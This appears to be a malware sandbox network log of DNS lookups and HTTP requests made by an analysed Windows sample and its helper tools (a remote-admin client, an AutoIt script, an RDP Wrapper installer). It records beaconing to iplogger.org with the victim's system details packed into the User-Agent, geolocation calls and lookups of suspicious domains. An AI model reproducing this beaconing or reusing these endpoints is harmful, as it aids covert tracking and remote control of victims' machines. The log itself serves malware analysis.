                                                                                                                                                                            8.8.8.8.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                            8.8.8.8.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            dnsgoogle
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            217.106.137.52.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            217.106.137.52.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            172.210.232.199.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            172.210.232.199.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            g.bing.com
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            g.bing.com
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            g.bing.com
                                                                                                                                                                            IN CNAME
                                                                                                                                                                            g-bing-com.dual-a-0034.a-msedge.net
                                                                                                                                                                            g-bing-com.dual-a-0034.a-msedge.net
                                                                                                                                                                            IN CNAME
                                                                                                                                                                            dual-a-0034.a-msedge.net
                                                                                                                                                                            dual-a-0034.a-msedge.net
                                                                                                                                                                            IN A
                                                                                                                                                                            13.107.21.237
                                                                                                                                                                            dual-a-0034.a-msedge.net
                                                                                                                                                                            IN A
                                                                                                                                                                            204.79.197.237
                                                                                                                                                                          • flag-us
                                                                                                                                                                            GET
                                                                                                                                                                            https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa4416a552314285826ba8a8cd66d958&localId=w:C1C7FDA1-57D8-3617-175E-F6F87939E990&deviceId=6755468654767491&anid=
                                                                                                                                                                            Remote address:
                                                                                                                                                                            13.107.21.237:443
                                                                                                                                                                            Request
                                                                                                                                                                            GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa4416a552314285826ba8a8cd66d958&localId=w:C1C7FDA1-57D8-3617-175E-F6F87939E990&deviceId=6755468654767491&anid= HTTP/2.0
                                                                                                                                                                            host: g.bing.com
                                                                                                                                                                            accept-encoding: gzip, deflate
                                                                                                                                                                            user-agent: WindowsShellClient/9.0.40929.0 (Windows)
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/2.0 204
                                                                                                                                                                            cache-control: no-cache, must-revalidate
                                                                                                                                                                            pragma: no-cache
                                                                                                                                                                            expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                            set-cookie: MUID=3FBA73BA7E8B6308373267587F6B620A; domain=.bing.com; expires=Mon, 15-Sep-2025 01:26:56 GMT; path=/; SameSite=None; Secure; Priority=High;
                                                                                                                                                                            strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                            access-control-allow-origin: *
                                                                                                                                                                            x-cache: CONFIG_NOCACHE
                                                                                                                                                                            accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                            x-msedge-ref: Ref A: 6CE0E2E685164A5A8E3275584FA7194E Ref B: LON04EDGE1218 Ref C: 2024-08-21T01:26:56Z
                                                                                                                                                                            date: Wed, 21 Aug 2024 01:26:55 GMT
                                                                                                                                                                          • flag-us
                                                                                                                                                                            GET
                                                                                                                                                                            https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=aa4416a552314285826ba8a8cd66d958&localId=w:C1C7FDA1-57D8-3617-175E-F6F87939E990&deviceId=6755468654767491&anid=
                                                                                                                                                                            Remote address:
                                                                                                                                                                            13.107.21.237:443
                                                                                                                                                                            Request
                                                                                                                                                                            GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=aa4416a552314285826ba8a8cd66d958&localId=w:C1C7FDA1-57D8-3617-175E-F6F87939E990&deviceId=6755468654767491&anid= HTTP/2.0
                                                                                                                                                                            host: g.bing.com
                                                                                                                                                                            accept-encoding: gzip, deflate
                                                                                                                                                                            user-agent: WindowsShellClient/9.0.40929.0 (Windows)
                                                                                                                                                                            cookie: MUID=3FBA73BA7E8B6308373267587F6B620A
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/2.0 204
                                                                                                                                                                            cache-control: no-cache, must-revalidate
                                                                                                                                                                            pragma: no-cache
                                                                                                                                                                            expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                            set-cookie: MSPTC=zAiR0SPTqMenpq1kYYh82hogA58kEsNr8wSNFw1gRgw; domain=.bing.com; expires=Mon, 15-Sep-2025 01:26:56 GMT; path=/; Partitioned; secure; SameSite=None
                                                                                                                                                                            strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                            access-control-allow-origin: *
                                                                                                                                                                            x-cache: CONFIG_NOCACHE
                                                                                                                                                                            accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                            x-msedge-ref: Ref A: 6F9E0B185F03407B901BBB1EAA1B8613 Ref B: LON04EDGE1218 Ref C: 2024-08-21T01:26:56Z
                                                                                                                                                                            date: Wed, 21 Aug 2024 01:26:55 GMT
                                                                                                                                                                          • flag-us
                                                                                                                                                                            GET
                                                                                                                                                                            https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa4416a552314285826ba8a8cd66d958&localId=w:C1C7FDA1-57D8-3617-175E-F6F87939E990&deviceId=6755468654767491&anid=
                                                                                                                                                                            Remote address:
                                                                                                                                                                            13.107.21.237:443
                                                                                                                                                                            Request
                                                                                                                                                                            GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa4416a552314285826ba8a8cd66d958&localId=w:C1C7FDA1-57D8-3617-175E-F6F87939E990&deviceId=6755468654767491&anid= HTTP/2.0
                                                                                                                                                                            host: g.bing.com
                                                                                                                                                                            accept-encoding: gzip, deflate
                                                                                                                                                                            user-agent: WindowsShellClient/9.0.40929.0 (Windows)
                                                                                                                                                                            cookie: MUID=3FBA73BA7E8B6308373267587F6B620A; MSPTC=zAiR0SPTqMenpq1kYYh82hogA58kEsNr8wSNFw1gRgw
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/2.0 204
                                                                                                                                                                            cache-control: no-cache, must-revalidate
                                                                                                                                                                            pragma: no-cache
                                                                                                                                                                            expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                            strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                            access-control-allow-origin: *
                                                                                                                                                                            x-cache: CONFIG_NOCACHE
                                                                                                                                                                            accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                            x-msedge-ref: Ref A: 7ADC801ECD8149458CFDCA9802A67021 Ref B: LON04EDGE1218 Ref C: 2024-08-21T01:26:56Z
                                                                                                                                                                            date: Wed, 21 Aug 2024 01:26:55 GMT
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            68.32.126.40.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            68.32.126.40.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            95.221.229.192.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            95.221.229.192.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            237.21.107.13.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            237.21.107.13.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            26.35.223.20.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            26.35.223.20.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            209.205.72.20.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            209.205.72.20.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            rms-server.tektonit.ru
                                                                                                                                                                            rutserv.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            rms-server.tektonit.ru
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            rms-server.tektonit.ru
                                                                                                                                                                            IN CNAME
                                                                                                                                                                            main.internetid.ru
                                                                                                                                                                            main.internetid.ru
                                                                                                                                                                            IN A
                                                                                                                                                                            95.213.205.83
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            83.205.213.95.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            83.205.213.95.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            154.239.44.20.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            154.239.44.20.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            154.239.44.20.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            154.239.44.20.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            ip-api.com
                                                                                                                                                                            winit.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            ip-api.com
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            ip-api.com
                                                                                                                                                                            IN A
                                                                                                                                                                            208.95.112.1
                                                                                                                                                                          • flag-us
                                                                                                                                                                            GET
                                                                                                                                                                            http://ip-api.com/json
                                                                                                                                                                            winit.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            208.95.112.1:80
                                                                                                                                                                            Request
                                                                                                                                                                            GET /json HTTP/1.1
                                                                                                                                                                            User-Agent: AutoIt
                                                                                                                                                                            Host: ip-api.com
                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                            Date: Wed, 21 Aug 2024 01:27:14 GMT
                                                                                                                                                                            Content-Type: application/json; charset=utf-8
                                                                                                                                                                            Content-Length: 311
                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                            X-Ttl: 11
                                                                                                                                                                            X-Rl: 42
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            1.112.95.208.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            1.112.95.208.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                            1.112.95.208.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            ip-apicom
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            freemail.freehost.com.ua
                                                                                                                                                                            winit.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            freemail.freehost.com.ua
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            freemail.freehost.com.ua
                                                                                                                                                                            IN A
                                                                                                                                                                            194.0.200.251
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            251.200.0.194.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            251.200.0.194.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                            251.200.0.194.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            freemailfreehostcomua
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            IN A
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            50.23.12.20.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            50.23.12.20.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            198.187.3.20.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            198.187.3.20.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            26.165.165.52.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            26.165.165.52.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            103.169.127.40.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            103.169.127.40.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            iplogger.org
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            iplogger.org
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            iplogger.org
                                                                                                                                                                            IN A
                                                                                                                                                                            104.21.4.208
                                                                                                                                                                            iplogger.org
                                                                                                                                                                            IN A
                                                                                                                                                                            172.67.132.113
                                                                                                                                                                          • flag-us
                                                                                                                                                                            GET
                                                                                                                                                                            https://iplogger.org/1z8577
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            104.21.4.208:443
                                                                                                                                                                            Request
                                                                                                                                                                            GET /1z8577 HTTP/1.1
                                                                                                                                                                            User-Agent: UserName: Admin / System: Windows 10 X64 / GPU: SeaBIOS VBE(C) 2011 / RAM: 8 / CPU: 12th Gen Intel(R) Core(TM) i5-12400, 8 Cores (Session: 99798)
                                                                                                                                                                            Host: iplogger.org
                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                            Date: Wed, 21 Aug 2024 01:27:29 GMT
                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                            memory: 0.3623809814453125
                                                                                                                                                                            expires: Wed, 21 Aug 2024 01:27:29 +0000
                                                                                                                                                                            strict-transport-security: max-age=31536000
                                                                                                                                                                            x-frame-options: SAMEORIGIN
                                                                                                                                                                            CF-Cache-Status: DYNAMIC
                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hy%2B6eJtMpUzUUVz2v0XsTjkYE9eg9JgXwylkgeqYfkE%2BaHxqbojR5ZHD%2BHU53yCILgWc2PQcPk%2B0UAiXkov0DwmlGJ572vqeZZM46OSNBgbhkXin6O8sLVqmFyBHBME%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                            CF-RAY: 8b66d746ee346550-LHR
                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            c.pki.goog
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            c.pki.goog
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            c.pki.goog
                                                                                                                                                                            IN CNAME
                                                                                                                                                                            pki-goog.l.google.com
                                                                                                                                                                            pki-goog.l.google.com
                                                                                                                                                                            IN A
                                                                                                                                                                            216.58.214.163
                                                                                                                                                                          • flag-fr
                                                                                                                                                                            GET
                                                                                                                                                                            http://c.pki.goog/r/gsr1.crl
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            216.58.214.163:80
                                                                                                                                                                            Request
                                                                                                                                                                            GET /r/gsr1.crl HTTP/1.1
                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                            Accept: */*
                                                                                                                                                                            User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                            Host: c.pki.goog
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                            Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
                                                                                                                                                                            Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                            Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
                                                                                                                                                                            Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
                                                                                                                                                                            Content-Length: 1739
                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                            Server: sffe
                                                                                                                                                                            X-XSS-Protection: 0
                                                                                                                                                                            Date: Wed, 21 Aug 2024 01:07:18 GMT
                                                                                                                                                                            Expires: Wed, 21 Aug 2024 01:57:18 GMT
                                                                                                                                                                            Cache-Control: public, max-age=3000
                                                                                                                                                                            Age: 1210
                                                                                                                                                                            Last-Modified: Mon, 08 Jul 2024 07:38:00 GMT
                                                                                                                                                                            Content-Type: application/pkix-crl
                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                          • flag-fr
                                                                                                                                                                            GET
                                                                                                                                                                            http://c.pki.goog/r/r4.crl
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            216.58.214.163:80
                                                                                                                                                                            Request
                                                                                                                                                                            GET /r/r4.crl HTTP/1.1
                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                            Accept: */*
                                                                                                                                                                            User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                            Host: c.pki.goog
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                            Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
                                                                                                                                                                            Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                            Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
                                                                                                                                                                            Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
                                                                                                                                                                            Content-Length: 436
                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                            Server: sffe
                                                                                                                                                                            X-XSS-Protection: 0
                                                                                                                                                                            Date: Wed, 21 Aug 2024 01:09:28 GMT
                                                                                                                                                                            Expires: Wed, 21 Aug 2024 01:59:28 GMT
                                                                                                                                                                            Cache-Control: public, max-age=3000
                                                                                                                                                                            Age: 1080
                                                                                                                                                                            Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
                                                                                                                                                                            Content-Type: application/pkix-crl
                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            RDPWInst.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.109.133
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.111.133
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.110.133
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.108.133
                                                                                                                                                                          • flag-us
                                                                                                                                                                            GET
                                                                                                                                                                            https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
                                                                                                                                                                            RDPWInst.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            185.199.109.133:443
                                                                                                                                                                            Request
                                                                                                                                                                            GET /stascorp/rdpwrap/master/res/rdpwrap.ini HTTP/1.1
                                                                                                                                                                            User-Agent: RDP Wrapper Update
                                                                                                                                                                            Host: raw.githubusercontent.com
                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                            Content-Length: 126604
                                                                                                                                                                            Cache-Control: max-age=300
                                                                                                                                                                            Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
                                                                                                                                                                            Content-Type: text/plain; charset=utf-8
                                                                                                                                                                            ETag: "ff6f7c1136ec33d71e74660fded1c5ee496fc5f36541436dc7e4b7c03f0f75a4"
                                                                                                                                                                            Strict-Transport-Security: max-age=31536000
                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                            X-Frame-Options: deny
                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                            X-GitHub-Request-Id: F4FE:24573:10FCB2:147B48:66C51E2C
                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                            Date: Wed, 21 Aug 2024 01:27:29 GMT
                                                                                                                                                                            Via: 1.1 varnish
                                                                                                                                                                            X-Served-By: cache-lcy-eglc8600067-LCY
                                                                                                                                                                            X-Cache: HIT
                                                                                                                                                                            X-Cache-Hits: 0
                                                                                                                                                                            X-Timer: S1724203650.819043,VS0,VE77
                                                                                                                                                                            Vary: Authorization,Accept-Encoding,Origin
                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                            Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                            X-Fastly-Request-ID: ff3285126c27488278b6db4c12db00cea5d10297
                                                                                                                                                                            Expires: Wed, 21 Aug 2024 01:32:29 GMT
                                                                                                                                                                            Source-Age: 0
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            208.4.21.104.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            208.4.21.104.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            163.214.58.216.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            163.214.58.216.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                            163.214.58.216.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            mad01s26-in-f1631e100net
                                                                                                                                                                            163.214.58.216.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            mad01s26-in-f3�J
                                                                                                                                                                            163.214.58.216.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            par10s42-in-f3�J
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            133.109.199.185.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            133.109.199.185.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            Response
                                                                                                                                                                            133.109.199.185.in-addr.arpa
                                                                                                                                                                            IN PTR
                                                                                                                                                                            cdn-185-199-109-133githubcom
                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            RDPWInst.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            Response
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.110.133
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.109.133
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.108.133
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            IN A
                                                                                                                                                                            185.199.111.133
                                                                                                                                                                          • flag-us
                                                                                                                                                                            GET
                                                                                                                                                                            https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
                                                                                                                                                                            RDPWInst.exe
                                                                                                                                                                            Remote address:
                                                                                                                                                                            185.199.110.133:443
                                                                                                                                                                            Request
                                                                                                                                                                            GET /stascorp/rdpwrap/master/res/rdpwrap.ini HTTP/1.1
                                                                                                                                                                            User-Agent: RDP Wrapper Update
                                                                                                                                                                            Host: raw.githubusercontent.com
                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                            Response
                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                            Content-Length: 126604
                                                                                                                                                                            Cache-Control: max-age=300
                                                                                                                                                                            Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
                                                                                                                                                                            Content-Type: text/plain; charset=utf-8
                                                                                                                                                                            ETag: "ff6f7c1136ec33d71e74660fded1c5ee496fc5f36541436dc7e4b7c03f0f75a4"
                                                                                                                                                                            Strict-Transport-Security: max-age=31536000
                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                            X-Frame-Options: deny
                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                            X-GitHub-Request-Id: 7C3A:3EEE13:1BADE7:23AF69:66C1EE82
